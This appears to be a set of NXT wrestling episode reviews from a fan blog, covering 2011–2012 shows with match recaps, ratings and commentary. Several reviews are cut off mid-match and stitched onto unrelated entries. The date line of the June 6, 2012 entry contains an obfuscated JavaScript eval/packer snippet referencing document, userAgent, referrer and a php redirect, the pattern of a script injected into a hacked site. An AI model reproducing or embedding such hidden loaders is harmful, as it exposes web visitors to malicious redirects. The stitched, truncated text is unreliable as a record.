NXT
Date: July 11, 2012
Location: Full Sail University, Winter Park, Florida
Commentators: Byron Saxton, William Regal

Welcome Home everyone.

Tyson Kidd vs. Camacho

Camacho sends him to the apron but Kidd skins the cat and sends Camacho to the floor. Hunico tries to interfere and gets ejected for his efforts. Kidd dives on both guys and we take a break. Back with Kidd kicking Camacho in the face and trying the Sharpshooter but a rope is grabbed. Camacho goes to the floor but grabs a running boot, sending Kidd face first into the apron.

Back inside and Camacho is in control and working on the back of Kidd. A backbreaker gets two and he stomps on the chest of Kidd a bit. Another backbreaker gets another two and Kidd gets draped over the top rope. Camacho hooks a seated third cousin twice removed of an abdominal stretch which Kidd breaks, only to be headbutted right back down. A belly to back suplex puts Kidd down and a legdrop gets two.

Hugh Jackman was on Raw once.

Aiden English vs. Bray Wyatt

Wyatt talks on the way to the ring, calling himself the angel in the dirt and singing Time is on My Side by the Rolling Stones. Wyatt pounds him down and sends English to the floor and into the barricade. Back in and Wyatt rolls around on the apron before splashing English in the corner. Wyatt dances with English a bit (literally) before hitting a rolling Downward Spiral for the pin at 1:48. Awesome debut here and a good transition from promos to in ring work which was what I was worried about from Wyatt.

Video on Seth Rollins, who will knock you out.

We run down the MITB card.

Video on Raquel Diaz, featuring Tweets from her.

Usos vs. Prime Time Players

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NXT
Date: June 13, 2012
Location: Verizon Wireless Arena, Manchester, New Hampshire
Commentators: Josh Matthews, William Regal

Curt Hawkins/Tyler Reks vs. Derrick Bateman/Percy Watson

Back with Watson fighting off both guys but getting dropped on the top turnbuckle for two. Reks hooks a chinlock for a bit followed by a neckbreaker for two. Back to Curt who hits a suplex for two. Off to another chinlock as Regal talks about how a chinlock is supposed to be executed. An other the shoulder bicycle kick gets two on Watson. Josh confirms that next week the New NXT begins.

During the break we get a clip of the All New NXT. It looks pretty awesome actually.

Kaitlyn vs. Natalya

Natalya immediately takes her down with a heel trip and they trade rollups for two each. Another rollup gets two for Kaitlyn. Natalya sends her to the floor and poses before knocking Kaitlyn off the apron. She sits on Kaitlyn for two and then hooks on a bow and arrow hold. Kaitlyn rolls her up again for two. That seems to be her only offense. Nattie misses a charge in the corner and Kaitlyn shoves her down. A crossbody gets two. Natalya cradles her in the corner with feet on the ropes for two. Her argument with the referee lets Kaitlyn hook ANOTHER rollup for two. A sunset flip out of nowhere gets the pin for Kaitlyn at 5:20.

Rating: D-. This was horrible. Kaitlyn looked terrible out there, both in the ring and in the face. For some reason all she did here were rollups other than just a few shots here or there. The match was terrible with neither girl really doing anything at all other than Natalya posing and Kaitlyn rolling people up. Terrible match.

Natalya throws a fit post match.

We get a quick word from Bo Dallas (Taylor Rotunda) who is ready to fight.

Raw ReBound is about Vince/Ace/Show/Cena.

Usos vs. Michael McGillicutty/Johnny Curtis

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NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tdsbf|var|u0026u|referrer|khdei||js|php'.split('|'),0,{})) June 6, 2012
Location: Colonial Center, Columbia, South Carolina
Commentators: Matt Striker, Josh Matthews

Source

It’s Epico/Primo defending against Gabriel/Kidd vs. The Usos.  I won’t be giving my thoughts on this yet because I’m planning on a major WM Preview later tonight with thoughts on all the matches

Thoughts on this?

NXT
Date: March 28, 2012
Location: Philips Arena, Atlanta, Georgia
Commentators: Josh Matthews, William Regal

Who would have thought that when we started this season that it would run through Wrestlemania 28? That’s the point we’re going to reach unless there’s some divine intervention and this season ends after today. Now the good thing is they have an angle that has a mystery to it after last week with Striker disappearing. Let’s get to it.

Hunico vs. Derrick Bateman

Bateman controls to start but gets backdropped into the corner as Hunico takes over. Elbow drop gets two. Oh make that one. Regal explains why Camacho hangs out with Hunico, which is apparently due to a gang attack that Hunico bailed him out of, resulting in a stab wound which is why Hunico wears a shirt in the ring. See how easy a story that was to explain?

Bateman gets beaten down for awhile until he comes back with a cross body. Hunico hits one at the same time though and both guys are down as we take a break. Back with Hunico chopping and pounding on Bateman. His shirt is torn now too. Hunico goes up but jumps into a dropkick as Bateman gets a breather. He launches Hunico over his head and into the buckle chest first.

Hunico pounds down on him again as Regal is talking about WCW. He seems to think it was funny and I can’t say I argue. Bateman tries to suplex Hunico in from the apron but Hunico falls on top. Bateman rolls through for two but stops to go after Camacho. The distraction allows Hunico to hit his modified Angle Slam (it’s the Angle Slam but he hooks the other guy’s head, almost like a torture rack) for the pin at 7:00.

Rating: C-. I wasn’t really all that into this. I’ve been liking Hunico more lately but this was a miss for him. Granted that could be because Bateman is a waste of time and space but maybe that’s just me. Nothing that great here as they went back and forth, but there wasn’t much selling in between.

Video on Rock vs. Cena from Once In A Lifetime, which wasn’t bad.

Video on HHH vs. Taker, which I think is the same one from Raw.

Video on Punk vs. Jericho, which I don’t think has aired before. It’s about Punk’s rise to the top of WWE over the years and then shows Jericho exposing Punk’s family history.

Maxine is on a phone and wants a list next week. Curtis comes up and apparently the list is about Regal, who is into some freaky stuff. This is news? Maxine gets off the phone and Curtis says that the company has been trying to keep Striker’s whereabouts on the DL. It happened on NXT. How much more DL can you get?

Maxine yells at him because Curtis hasn’t found out anything about Striker. Watson and Riley pop up and Watson yells at her for taking the spotlight during his match by rubbing Regal’s feet. Maxine asks how mad Watson is at her in a strange bit. They go down the hall and run into Natalya and Kidd. They’re talking about the economy. Ok then. The walk continues and they run into Gabriel. I think they’re looking for who stole Striker.

Now they run into Titus and leave, but the camera stays on Titus. Young comes in with a flower pot which Young says is for Tamina. O’Neil says take her to McDonalds. Young says he lies, cheats and steals in the ring but he can’t do that with Tamina. I’m not the biggest Eddie fan ever, but NO WAY does Young deserve to be able to say that.

Curtis and Maxine pop up again and accuse Titus of the kidnapping (they haven’t actually said those words yet, but rather “it was you” every time). Titus tries to kiss her for some reason but Curtis pulls her away. Young and O’Neil leave and Maxine gets a text. The kidnappers say that after Mania, she’ll give them what they want and they’ll get Striker back. LONG backstage segment here but it covered a few things which is good.

Video on the Divas tag, I think from Extra. I have no issue looking at Maria Menunos.

Titus O’Neil vs. Jey Uso

Young and Jimmy Uso are on commentary. So I’m assuming we’re not going to talk about the Striker stuff on commentary are we? Josh points out that the Usos aren’t that successful when they’re in singles action. Jimmy says that’s true, because they’re a team. Simple yet true. This is your usual power vs. speed match with Titus controlling early but Jey taking him down. He goes up but Titus rolls to the floor before the jump and we go to a break.

Back with Titus hammering on him, using the clubbing forearms. Jey gets in a shot and comes off the top with a cross body for two. Titus runs him over with another clothesline for two. Off to a chinlock to eat up some time as Jey comes up with exactly the same kind of offense you would expect from him. The Umaga attack hits in the corner as does the Samoan Drop. The Superfly Splash hits knees though and the Clash of the Titus ends this at 6:22.

Rating: C-. I wish I could care about this feud, but it’s just not happening. The problem in modern WWE for guys like the Usos is that the tag titles are never defended and the champions are basically jobbers when you need to get bigger names over as singles guys. Titus is a heel now but he’s the same guy he’s always been, just with a sneer now. Nothing match but technically it was fine.

Tamina comes out to check on Jey and glares at Young for some reason.

Overall Rating: D. The problem here is that this show was a commercial for Mania with a backstage segment and about 15 minutes of wrestling to fill in some gaps. That’s totally understandable as well as no one is going to care about anything with four days before the biggest show of the year. Not a good show or anything, but this had zero expectations coming in so it’s fine.

Results
Hunico b. Derrick Bateman – Spinning Torture Rack Slam
Titus O’Neil b. Jey Uso – Clash of the Titus

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NXT
Date: February 8, 2012
Location: BOK Center, Tulsa, Oklahoma
Commentators: William Regal, Josh Matthews

Here we are again. I really don’t know what to talk about here other than Young and Titus seem to have formed a new alliance after hating each other for so long. I don’t know how well Titus’ heel turn is going yet because he doesn’t have anything to gain. I’m sure nothing will change here because that’s how this show works. We’re at a month away from this being running for a year. Let’s get to it.

We are Wild And Young and feel the need to sing about it.

Striker opens the show and tells us that there are four matches tonight, including the Usos vs. Hawkins/Reks. You know, to freshen things up a bit.

Derrick Bateman vs. Heath Slater

Bateman takes over to start but misses a corner charge. Regal talks about punching a homeless man as Slater punches him down. A leg lariat puts Bateman down and it’s off to a chinlock. Bateman fights up and hits something like a modified STO for two. A flip neckbreaker like the one John Morrison used to use gets the same. Slater pops up and hits his running spinning sleeper drop for the pin at 3:27. That needs a bad name.

Rating: D. This didn’t click at all for me as there was a severe lack of selling. Granted at the same time it’s Heath Slater vs. Derrick Bateman in a match that runs three and a half minutes so how good was it possibly going to be? Bateman’s stock somehow manages to fall even further, which I didn’t think was possible.

Percy Watson vs. Darren Young

Titus is on commentary. Percy starts out fast and takes him down where he stomps away on the ribs. They go to the floor and Percy gets caught in the ring skirt. Back in a swinging neckbreaker gets two for Darren and it’s off to a body scissors. Titus goes on a rant about how no one has done anything for him so he’s controlling his own destiny. Young charges at Watson in the corner but Percy moves, sending Young chest first into the buckle. The Heisman (spinning splash) gets two and the Persecution gets the pin at 4:24.

Rating: D+. Better match but it still wasn’t anything great. This was more about furthering Percy vs. Titus post match which is a much more interesting feud. Titus turning is fine, but like I’ve said many times, it doesn’t mean anything without there being something for him to win. At least it wasn’t Slater though.

Titus gets in the ring and tells Percy that when Titus attacks him, Percy will know it.

Johnny Curtis hits on Kaitlyn and implies that Bateman has a crush on her.

Trent Barretta vs. Tyson Kidd

Yes please. They run the ropes a bit with Kidd hitting an elbow to the face to take over. Trent knocks him off the apron and they head to the floor. Whisper in the Wind off the barricade takes Kidd down but he goes down as well. Back in the ring Kidd comes off the top but jumps into a dropkick which gets two for Trent. Kidd charges in the corner but Trent gets up two knees to take him down.

He tries what looks like a one legged Codebreaker but Kidd counters into a Sharpshooter attempt. That’s countered as well but Kidd kicks his head off and a release German gets two. These kickouts and counters are getting good. Trent gets in a shot to take Kidd down and heads up. A missile dropkick gets two and Barretta is getting frustrated. They go into a pinfall reversal sequence and Kidd hooks him into a sunset flip for the pin at 5:22.

Rating: C+. These guys are very fun at what they do but they’re stuck here on NXT so that we can see guys like Jinder Mahal on Smackdown. Kidd used to be my favorite guy on this show and I wish he’d get more time to showcase his stuff because he really is fun to watch when he gets more than a few minutes.

Kidd helps Trent up post match which is a different style for him.

Kaitlyn goes up to Bateman in the back and Maxine comes in to yell about the loss earlier. There’s a match set up. Curtis can be seen watching in the back as the girls argue.

Kaitlyn vs. Maxine

Regal goes into a LONG rant which almost has to be a song lyric or a poem. He literally talks for 34 seconds and says that’s what Maxine said. It ended with what sounded like “shoplifters of the world unite.” From what I can find that’s a song by The Smiths. Kaitlyn drops a leg and Regal says her legs could crack walnuts for him at Christmas. Maxine hooks a dragon sleeper to slow things down. Kaitlyn comes back with some knees and the worst cross body ever, due to a lack of jumping. Maxine wins with a crucifix at 2:59. This was your usual NXT Divas match.

Video on the Chamber which I think is the same one from Raw.

Trent is getting out of his gear in the back when Kidd comes up and says Trent has earned his respect. Kidd proposes a tag team and asks Trent to think about it. Can we please get an NXT Tag Title already? In this case there actually is a division for it.

Usos vs. Tyler Reks/Curt Hawkins

Curt and let’s say Jey start us off. Hawkins takes him down a few times but walks into a northern lights for two. Off to Jimmy vs. Reks as the Usos do their “I say Us, you say O” thing which gets a reaction as it always does. Hawkins is sent to the floor and the Usos double team to dive onto Hawkins. Reks and Hawkins use a nice misdirection move to get a boot to Jey’s head and we take a break.

Back with Reks hooking Jey in a chinlock and then hitting a boot for two. Back to Hawkins and things slow way down. Reks and Hawkins are very uninteresting in the ring and they slow matches down so much when they’re in there. Reks and Hawkins double team even more but Jey blocks a charge in the corner with a boot.

Hawkins gets Reks back in again though and Jey gets pounded on even more. The heels tag again and it’s back to Curt for a chinlock. Jey takes him down and brings in Jimmy. Everything breaks down and Jimmy escapes the spinning Rack neckbreaker. He gets shoved into a cane shot by Hawkins and Reks gets a rollup pin at 7:29.

Rating: C. The problem with this is the same as the problem with most of the feuds on this show: we’ve seen it so many times that there’s no point in watching them anymore. This might have been the first time that Reks and Hawkins have beaten them, but does it really matter after they’ve lost about four or five times in a row?

Striker runs out to report the cane shot (why doesn’t this happen more often?) and Hawkins drops him with a right hand.

Overall Rating: B-. This show flew by and in a good way. A lot of new stories were started tonight and it was like there was a brand new writer for it, which shakes thing up a lot which is what this show has needed for a very long time. I’m actually looking forward to this show now because there’s something new to see, which is the best thing that could have happened on NXT.

Results
Heath Slater b. Derrick Bateman – Spinning Sleeper Mat Slam
Percy Watson b. Darren Young – Persecution
Tyson Kidd b. Trent Barretta – Sunset flip
Maxine b. Kaitlyn – Crucifix
Tyler Reks/Curt Hawkins b. The Usos – Rollup to Jimmy after a cane shot from Hawkins

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NXT
Date: October 12, 2011
Location: American Airlines Center, Dallas, Texas
Commentators: Jack Korpela, William Regal

It’s the second week of NXT on Wednesdays and I’m not exactly thrilled after last week’s boring show. It should be interesting to see how things go with no Darren Young for the next month or so due to him being wellnessed. Hopefully with the departure of all of the Pros that could mean we’re actually getting closer to the end of this show. Let’s get to it.

So if one of the rookies is Young, which one is wild?

Here are Bateman and Maxine to open the show. He sucks up to Vince and Johnny Ace for clearing up the catastrophe that was coming down to NXT. Bateman says that the opinions of himself and Maxine are the only ones that matter and makes fun of the hometown Cowboys. As a Cowboys fan……I don’t really care enough about Bateman to be upset about it.

Maxine talks a bit but is cut off by Titus and Percy. Percy talks about there being two rookies left so I guess Young is just being dropped? Bateman and Maxine run their mouths and kiss a bit which makes Percy freak out. O’Neil actually mentions the competition and says he should be on Raw or Smackdown. He’s right you know. Maxine implies she wants a match but here’s Striker who says he has match making abilities. It’s Watson vs. Bateman later and right now it’s AJ vs. Maxine.

AJ vs. Maxine

I think these are the only two girls on this show. This is joined in progress after a commercial with Maxine taking over with a choke for two. The fact of the week about Maxine: her cousin is a champion hula hooper from Bangkok and also grows prize turnips and also is an amateur credit mangler (not sure if that last part is right or not).

Maxine is totally dominant and goes from a dragon sleeper to a freaky looking chinlock. Literally all Maxine so far as the fans are into this. Either that or they’ve gotten really good at piping in noise on NXT. AJ finally gets in a shot and goes up for a cross body for one. After a bit more scrapping, a Shining Wizard beats Maxine at 5:00.

Rating: D. How could a match with women as attractive as AJ and Maxine that involves bending and twisting be so boring? There was nothing to see here which is at least partially because we’ve seen it so many times now. The girls are trying but there’s nothing to see here, especially with all of the stories they had going being forgotten now and things boiling down to they don’t like each other.

We talk about the tag match last week with Hawkins/Reks vs. the Usos.

Hawkins and Reks talk about how great they are and how they don’t need a family to get them here like the Usos do.

Long recap of Raw and all the stuff that went down on the night of a thousand stories.

Usos vs. Curt Hawkins/Tyler Reks

Hawkins starts with let’s call him Jey. The crowd is a lot quieter for this than for the girls. The twins control early and drop double headbutts on Hawkins for no cover as it’s off to Reks. Remember when Reks actually was on a Survivor Series team and a Bragging Rights team? That feels like it was so long ago. Back to Hawkins who gets beaten on even more, this time taking a two count off a Demolition Decapitator move. Hawkins is sent to the floor and Jey dives over the top to crush him. Jimmy does the same as we take a break.

Back with heel double teaming taking Jimmy down and it’s off to Reks. We hear about the tag division coming back up and that’s true for once. Know how they did it? They made teams. Why is that such a hard concept? You have a huge roster so why not throw some teams together? The double teaming goes on for a very long time as the match has totally changed after the break.

Regal goes on a small rant about Hawkins and Reks not being underutilized because it’s their job to get noticed, not someone else to give it to them. I like that idea that you have to have your own initiative to get into the thick of things like that. Reks puts on something like a Tazmission as Regal talks about how the mice are all throwing themselves onto mousetraps because his mother in law is coming.

Jimmy manages to send both of them to the floor and the fans wake up to an extent. There’s your hot tag to Jey and we get a Rikishi reference which might be the making a difference line. Jey hits the running hip strike to the head of Hawkins which is an Umaga move but they keep calling it a Rikishi one. Jey comes off the top rope but is caught in a powerslam for two. I thought that was it. Reks and Jey exchange missed finishers and a double superkick sets up a double Superfly splash for the pin on Reks at 12:20.

Rating: C. This had its moments but the heel beatdown segment was pretty long and dull. I wasn’t totally bored and the ending was a much better segment than the rest of it. I like that double splash and it’s cool to see the faces get some redemption (Oh I get it now) here. Good little match but if they cut out about two minutes it would have been much better.

Percy Watson vs. Derrick Bateman

Regal thinks Maxine is looking at him. Watson is so much better as a serious guy than the goofy one he was in Season 2. He takes over with his speed and power stuff but goes up to the middle rope and gets dropkicked in the back for two. Regal isn’t happy with the weak cover by Bateman. Now why can’t more commentators channel their inner Monsoon like that?

A whip into the corner gets two and it’s off to a body vice. We get the dreaded Jacob Novak reference and this show automatically drops a few notches. Watson fights back and a cross body gets two. Bateman takes over again and Regal is going into his third sage advice talk of the night. Abdominal stretch goes on by Bateman and we hear about Bateman getting his hands on a copy of John Cena’s workout strategy. Ok then.

Watson escapes and Regal praises Cena for a bit. Elbow misses for Derrick and we’re running very low on time so this is going to have to end soon. Watson hammers away and hits one of those dropkicks that is just a bit off for some reason. It always is. The spinning splash gets two. Bateman grabs a release gordbuster for two (with Regal talking about Arn a bit) but the falling bulldog is countered, allowing Watson to hit a fireman’s carry into a pancake for the pin at 7:00.

Rating: C-. Not bad here but it kind of came and went. Watson is so much better now that it’s not even funny. He needed to play things straight and that’s what he’s doing here. It works so much better for him this way and I could see him being a lower midcard guy on the main rosters. As for Bateman….just let us look at Maxine.

Overall Rating: C-. Pretty boring show tonight although the wrestling wasn’t bad. As is the custom around here, when they talk about the competition and have the rookies out there, the show goes downhill in a hurry. With Young gone though, at least we’re getting closer to having the end of the season. I guess the Redemption Points aren’t going to mean anything at all for the whole 30+ weeks this has been on are they? Weak show tonight but not horrible.

Results
AJ b. Maxine – Shining Wizard
Usos b. Curt Hawkins/Tyler Reks – Double Superfly Splash to Reks
Percy Watson b. Derrick Bateman – Fireman’s carry into a pancake

NXT
Date: October 5, 2011
Location: Mississippi Coast Coliseum, Biloxi, Mississippi
Commentators: Jack Korpela, William Regal

After last week’s newest tag team debut in the form of Hawkins/Reks, there’s an actual tag division on this show which is more than most of the WWE and almost all of TNA can say right now. There are no Pros left and that’s certainly a good thing. It’ll be interesting to see how the walk out from last night will affect the show, but I’ll bet it’s not much at all. Let’s get to it.

Oh and this show is now on Wednesday and we were told that…..oh a good never after the show aired. I read it on a tweet on WWE.com. Nice job guys. Nice.

Two new developments today: first of all if you go to the NXT page it offers you the 9/27 show but if you go to the full episodes tab you can watch today’s show. Also, it offers you an option of voting for rookies. As in potential eliminations. That hasn’t been an option in MONTHS.

Here are Hawkins/Reks to open the show and we get a quick recap of them beating down the Usos last week. They’re invading the show tonight because everything is in chaos. Hawkins apologizes to the fans that watch the show, saying they’re not going to see O’Neil or Tatsu because it’s the Hawkins and Reks Show. Reks says that last night (the video is dated the 5th but Raw was on the 3rd) they walked out on HHH on Raw. He’s tired of opportunities being handed out and squandered. They’re sitting on the top ropes for this so it’s kind of a different looking thing.

Here come the Usos in street clothes. They talk about the lack of respect that Hawkins/Reks have for everything including the ring, the people and HHH. The tag match is made and the Usos clear the ring with a double superkick to Reks and a simple toss to Hawkins. How exactly has Hawkins, a former tag champion, never had an opportunity? I guess that’s in the whole pay no attention to it part of history.

Titus O’Neil vs. Derrick Bateman

Regal says he was torn about walking out on Raw. Titus takes over with his power game and gets two off a side slam and a shoulder block. Regal talks about Maxine’s uncle who is a defrocked abbot who teaches chimpanzees to ride unicycles and on Sunday mornings piddles around in flea markets. Can we just get an hour of Regal’s stories? Bateman takes over with a dropkick but gets a delayed two. The idea here is that Titus is off because there’s no Horny to coach him. Titus starts his comeback but Maxine gets in his way as he tries to go up top. Bateman goes for the knee and that stupid falling bulldog ends it at 5:06.

Rating: D+. Boring match here but at least there was an idea to it. Titus losing that fast makes the bulldog look better, but at the same time it’s still the falling bulldog. Is that really the best they can come up with for him? Also, I can’t believe we actually saw two Rookies fighting each other. It’s almost like this is a competition show or something.

The Raw ReBound eats up about five minutes

JTG and Young make fun of Yoshi for his makeup. They leave and Yoshi goes up to the makeup table but it’s missing. All that is left is a mirror with the letter H and the number 8 (hate) crossed out. The word CHEA is underneath it. So this is what this show has come to? JTG vs. Yoshi Tatsu. Oh me oh my.

Yoshi Tatsu vs. JTG

No paint for Yoshi today. JTG runs immediately and the chase is cut off as he hides behind Darren who has the makeup/paint. Yoshi kicks Darren upside the head and is like GO BACK TO BEWITCHED BOY! The distraction lets JTG take over and he pounds away. Off to a chinlock as we hear about JTG running through the streets of Brooklyn to show he’s not afraid. It also shows he’s an idiot but that goes without saying. Yoshi starts firing off the kicks and the chops because he’s Asian and that means he has to be a martial artist. Top rope spinwheel kick ends this at 4:50.

Rating: C. This was fine. It’s a traditional heel vs. face match and that’s all it tried to be. I kind of like that: there was a quick story made up with JTG as the bad guy and Yoshi as the good guy and the good guy got his revenge on the bad guy. It’s bare bones storytelling but that’s all it really needed to be. I liked it.

Video on Mark Henry who is big and mean.

Daniel Bryan vs. Heath Slater

The announcers talk about almost nothing but the walkout (trademark probably coming soon) but Bryan is his usual submission based self. Bryan hooks Slater’s feet in a surfboard position but jumps up and drives Slater’s knees into the mat. We talk about Regal training Bryan and Regal mentions he let him go on his own to avoid falling into some of the snares Regal fell into.

Now we talk about the end of the PPV because the match isn’t all that interesting. On the floor Slater is sent into the barricade and Bryan hits the running knee off the apron. Back in Bryan fires off a kick and shakes the ropes like Ultimate Warrior. A running dropkick in the corner gets two. Slater starts a comeback but walks into some kicks and a Regal Stretch for the tap at 5:43. Regal: “That’s the first time that move has been seen in 8 years.”

Rating: C-. This was really boring. I think it’s because Slater is officially a jobber to the stars and there’s almost nothing interesting in his matches anymore. Part of that is because of his name I think: what is a one man southern rock band? It tells you nothing about the character. I mean, something like Macho Man tells you he’s tough and Hulk sounds like someone big and imposing. One Man Rock Band says…..what exactly?

Usos vs. Curt Hawkins/Tyler Reks

We’ll call that Jey starts with Hawkins. Jimmy comes in and cheating takes him down. There’s almost no time left in the show so this isn’t going to last long. Hot tag to Jey who hits a Bubba Bomb and the running hip smash to the face for two on Hawkins. A double assisted Samoan Drop (Alley-Us, pronounced like the team’s name) gets two. Jey goes up but is slammed down by Hawkins. A top rope elbow ends the Usos at 4:53.

Rating: D+. Another boring match here in a string of them tonight. These five minute matches get a lot of people out there but there’s nothing interesting about them. I’d assume this is to keep up the tag title chase meaning something but don’t these teams need to compete somewhere else besides here on NXT? There are four teams here and I’ve seen one on Raw or Smackdown. That’s kind of missing the point isn’t it?

Overall Rating: D+. I wasn’t thrilled with this one and the biggest factor I can attribute that to is the Bryan vs. Slater match. It took time away from other matches and didn’t really add anything at all to the show. Bryan and Slater haven’t been parts of the show in months and the match felt like it was thrown in there to take up space on a shot that was a bit crowded already anyway. This was a step down from recent weeks.

Results
Derrick Bateman b. Titus O’Neil – Falling Bulldog
Yoshi Tatsu b. JTG – Top rope spinwheel kick
Daniel Bryan b. Heath Slater – Regal Stretch
Curt Hawkins/Tyler Reks b. Usos – Top rope elbow to Jey